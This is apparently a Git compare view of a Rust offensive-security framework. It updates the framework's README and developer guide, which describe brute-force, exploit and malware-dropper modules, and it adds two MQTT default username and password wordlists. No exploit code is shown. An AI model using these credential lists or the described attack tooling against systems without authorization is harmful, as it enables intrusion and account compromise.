mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
58 Commits
beta-testing
...
v0.4.2
| Author | SHA1 | Date | |
|---|---|---|---|
| dbd2b50ef2 | |||
| eb2e8542a9 | |||
| f02c6a2274 | |||
| 5650be5720 | |||
| 4ee5eeab42 | |||
| 818a82982f | |||
| f4d7c45f1d | |||
| 421b2508a0 | |||
| e4066ceea6 | |||
| 0f2d4cad8a | |||
| 1a53215512 | |||
| 34aa655e36 | |||
| 1741c043f9 | |||
| b1ac4e0190 | |||
| 1b4dfca8e2 | |||
| a78073381b | |||
| 17e081eb16 | |||
| 5299059ca8 | |||
| d489e5d2e3 | |||
| 337d7d5249 | |||
| ef5457d00a | |||
| 0164912f52 | |||
| d62c65e8fb | |||
| cdeed7c799 | |||
| da075a08ce | |||
| d91e1d2a25 | |||
| 5d0634670b | |||
| d6d9e5e836 | |||
| 30396b2414 | |||
| a24d9c79de | |||
| aed7b0b93e | |||
| c26a0f116c | |||
| 7a781ae2fa | |||
| ba3a6480d2 | |||
| ae435a2143 | |||
| 20b610a1d5 | |||
| 9de9f0a8c9 | |||
| 66964ba639 | |||
| cb3ad7c22d | |||
| 423b0e0838 | |||
| cb053d5be3 | |||
| 39c8d8ccc8 | |||
| b2c85875fa | |||
| ee6d4e399e | |||
| 8af6d45e32 | |||
| a0c8c723dc | |||
| 97c366a846 | |||
| 7fc4148202 | |||
| ab8256fc19 | |||
| 3403cec7f9 | |||
| 99e31b1c2f | |||
| c9e93614a4 | |||
| 227dc38663 | |||
| b1ca5f1151 | |||
| 6c153eee99 | |||
| c9712dc4a9 | |||
| be1c4158af | |||
| 26913cdbf6 |
@@ -1,22 +0,0 @@
|
||||
name: Rust
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ "main" ]
|
||||
pull_request:
|
||||
branches: [ "main" ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
||||
runs-on: Kali
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build
|
||||
run: cargo build --verbose
|
||||
- name: Run tests
|
||||
run: cargo test --verbose
|
||||
+5
-3
@@ -1,7 +1,7 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.3.5"
|
||||
edition = "2021"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
[[bin]]
|
||||
@@ -27,6 +27,7 @@ http = "0.2"
|
||||
bytes = "1.0"
|
||||
tokio-rustls = "0.24"
|
||||
url = "2.5"
|
||||
urlencoding = "2.1"
|
||||
quick-xml = "0.37"
|
||||
data-encoding = "2.5"
|
||||
semver = "1.0"
|
||||
@@ -87,7 +88,7 @@ chrono = { version = "0.4", features = ["serde"] }
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
|
||||
# DNS
|
||||
@@ -96,7 +97,8 @@ hickory-proto = "0.24"
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.19"
|
||||
home = "=0.5.11" # pinned for edition 2021 compatibility
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.34"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Rustsploit 🛠️
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||
@@ -6,10 +6,10 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||

|
||||
|
||||
|
||||
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
|
||||
@@ -31,15 +31,23 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
|
||||
## Highlights
|
||||
|
||||
- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
|
||||
- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
|
||||
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
|
||||
|
||||
---
|
||||
|
||||
@@ -49,11 +57,11 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
|
||||
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists and helper files |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
@@ -148,6 +156,57 @@ Environment variables are written with 0600 permissions so secrets stay private.
|
||||
|
||||
---
|
||||
|
||||
## New Features & Improvements
|
||||
|
||||
### Framework-Level Enhancements
|
||||
|
||||
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
|
||||
|
||||
- **Advanced Target Normalization**: The framework now supports:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
All targets are validated for security (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
### Module Improvements
|
||||
|
||||
- **Telnet Bruteforce**:
|
||||
- Full Telnet IAC (Interpret As Command) negotiation support
|
||||
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
|
||||
- Verbose mode for quick checks showing all attempts and detailed statistics
|
||||
- Improved buffer handling and memory management
|
||||
|
||||
- **RDP Bruteforce**:
|
||||
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
|
||||
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
|
||||
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
|
||||
- Command injection prevention in external tool calls
|
||||
|
||||
- **MQTT Bruteforce**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper CONNECT packet construction with variable-length encoding
|
||||
- CONNACK response parsing and error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
|
||||
- Statistical analysis with configurable samples and thresholds
|
||||
- Distinguishes valid/invalid users based on authentication time differences
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- High-performance recursive directory scanning
|
||||
- Custom wordlists with extension appending
|
||||
- Smart status code filtering and size anomaly detection
|
||||
- Interactive wizard for easy configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Targeted fuzzing for URLs, headers, and body parameters
|
||||
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
|
||||
- Custom charsets (SQL, Traversal, Command Injection)
|
||||
- Iterative generation for exhaustive coverage
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
@@ -322,12 +381,20 @@ Authorization: ApiKey your-api-key-here
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
@@ -335,6 +402,7 @@ When `--harden` is enabled:
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
@@ -347,6 +415,7 @@ Log entries include:
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
|
||||
-2407
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+200
-18
@@ -1,4 +1,4 @@
|
||||
# 🛠️ Rustsploit Developer Guide
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
|
||||
@@ -12,12 +12,13 @@
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Authoring Modules](#authoring-modules)
|
||||
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
10. [Utilities & Helpers](#utilities--helpers)
|
||||
11. [Testing & QA](#testing--qa)
|
||||
12. [Roadmap & Ideas](#roadmap--ideas)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
|
||||
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
|
||||
11. [Utilities & Helpers](#utilities--helpers)
|
||||
12. [Testing & QA](#testing--qa)
|
||||
13. [Roadmap & Ideas](#roadmap--ideas)
|
||||
|
||||
---
|
||||
|
||||
@@ -41,9 +42,11 @@ rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher code by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode
|
||||
│ ├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
|
||||
│ ├── api.rs # REST API server with auth, rate limiting, and security
|
||||
│ ├── config.rs # Global configuration with target validation
|
||||
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── exploit.rs
|
||||
@@ -56,13 +59,14 @@ rustsploit/
|
||||
│ │ ├── exploits/
|
||||
│ │ ├── scanners/
|
||||
│ │ └── creds/
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
|
||||
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
|
||||
├── docs/
|
||||
│ └── readme.md # This document
|
||||
├── lists/
|
||||
│ ├── readme.md # Wordlist + data file catalogue
|
||||
│ ├── rtsp-paths.txt
|
||||
│ └── rtsphead.txt
|
||||
│ ├── rtsphead.txt
|
||||
│ └── telnet-default/ # Default telnet credentials
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
@@ -134,6 +138,120 @@ If the module needs additional parameters, it can prompt interactively (e.g., br
|
||||
|
||||
---
|
||||
|
||||
## Security & Input Validation
|
||||
|
||||
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
|
||||
|
||||
### Input Validation Constants
|
||||
|
||||
Located across core modules, these constants enforce safe limits:
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
|
||||
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
### Security Patterns
|
||||
|
||||
When writing modules or core code, follow these patterns:
|
||||
|
||||
#### 1. Input Length Validation
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
#### 2. Control Character Rejection
|
||||
```rust
|
||||
if input.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Input cannot contain control characters"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. Path Traversal Prevention
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 4. Hostname/Target Validation
|
||||
```rust
|
||||
// Use the framework's normalize_target function for comprehensive validation
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
|
||||
```
|
||||
|
||||
For manual validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
#### 5. Overflow Protection
|
||||
```rust
|
||||
// Use saturating_add to prevent overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
#### 6. Prompt Attempt Limiting
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// ... prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
|
||||
- **Rate Limiting:** 3 failed auth attempts = 30 second block
|
||||
- **Auto-cleanup:** Old entries purged when limits exceeded
|
||||
- **IP Tracking:** With automatic rotation when suspicious activity detected
|
||||
|
||||
### File Operations
|
||||
|
||||
When reading files, always:
|
||||
1. Validate the path doesn't contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading
|
||||
4. Skip symlinks for security
|
||||
|
||||
### Honeypot Detection
|
||||
|
||||
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
|
||||
|
||||
- Scans 200 common ports with 250ms timeout per port
|
||||
- If 11+ ports are open, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
|
||||
|
||||
This helps operators identify potentially deceptive targets before spending time on them.
|
||||
|
||||
---
|
||||
|
||||
## Authoring Modules
|
||||
|
||||
Every module must export:
|
||||
@@ -157,7 +275,7 @@ Guidelines:
|
||||
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
|
||||
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
|
||||
|
||||
### Example skeleton
|
||||
### skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
@@ -187,17 +305,68 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
## Credential Modules: Best Practices
|
||||
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
|
||||
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
|
||||
- **Concurrency:**
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
|
||||
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
|
||||
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
|
||||
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
|
||||
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
|
||||
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
|
||||
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
|
||||
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
|
||||
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
|
||||
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
|
||||
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
|
||||
|
||||
- **FTP Bruteforce Enhancements**:
|
||||
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
|
||||
- JSON configuration system with load/save/validation
|
||||
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
|
||||
- Framework `normalize_target()` integration
|
||||
|
||||
- **L2TP/IPsec Module**:
|
||||
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
|
||||
- Proper IPsec Phase 1/2 and L2TP session management
|
||||
- L2TPv2 packet crafting with AVP encoding
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
- Verbose mode for quick checks with detailed attempt reporting
|
||||
- Improved buffer handling using `BytesMut` with size limits
|
||||
|
||||
- **RDP Module**:
|
||||
- Streaming failover for password files >150MB
|
||||
- Comprehensive error classification with 8 error types
|
||||
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
|
||||
- Command injection prevention via argument sanitization
|
||||
|
||||
- **MQTT Module**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper variable-length encoding and UTF-8 string encoding
|
||||
- CONNACK response parsing with error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Implements timing-based enumeration inspired by CVE-2018-15473
|
||||
- Statistical analysis using standard deviation to identify valid users
|
||||
- precise `tokio::time::Instant` measurements for authentication attempts
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
|
||||
- Recursive scanning logic with depth control
|
||||
- Custom `Client` configuration for optimized throughput
|
||||
- Interactive setup wizard `setup_wizard` guides users through configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Supports versatile payload placement (URL, Header, Body)
|
||||
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
|
||||
- Base-N counting algorithm for exhaustive iteration without memory overhead
|
||||
- Modular `charset` selection (SQL, Traversal, Command Injection)
|
||||
|
||||
---
|
||||
|
||||
@@ -215,9 +384,22 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
|
||||
`src/utils.rs` provides:
|
||||
|
||||
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
|
||||
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
|
||||
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
|
||||
- **`normalize_target`**: Comprehensive target normalization supporting:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
|
||||
|
||||
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
@@ -250,4 +432,4 @@ Contributions are welcome—open an issue or start a discussion before large ref
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
|
||||
|
||||
@@ -44,23 +44,6 @@ Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
public
|
||||
guest
|
||||
sysadmin
|
||||
hivemq
|
||||
emonpimqtt2016
|
||||
mosquitto
|
||||
mqttpassword
|
||||
password
|
||||
[auto-generated]
|
||||
[empty]
|
||||
[printed on PLC]
|
||||
password
|
||||
password
|
||||
password
|
||||
bitnami
|
||||
@@ -0,0 +1,15 @@
|
||||
admin
|
||||
guest
|
||||
sysadmin@thingsboard.org
|
||||
admin
|
||||
emonpi
|
||||
mosquitto
|
||||
mqttuser
|
||||
admin
|
||||
homeassistant
|
||||
DVES_USER
|
||||
admin
|
||||
roger
|
||||
sub_client
|
||||
pub_client
|
||||
user
|
||||
+19
-4
@@ -6,10 +6,14 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
|
||||
## Available Files
|
||||
|
||||
| File | Used By | Description |
|
||||
|------|---------|-------------|
|
||||
| File / Directory | Used By | Description |
|
||||
|------------------|---------|-------------|
|
||||
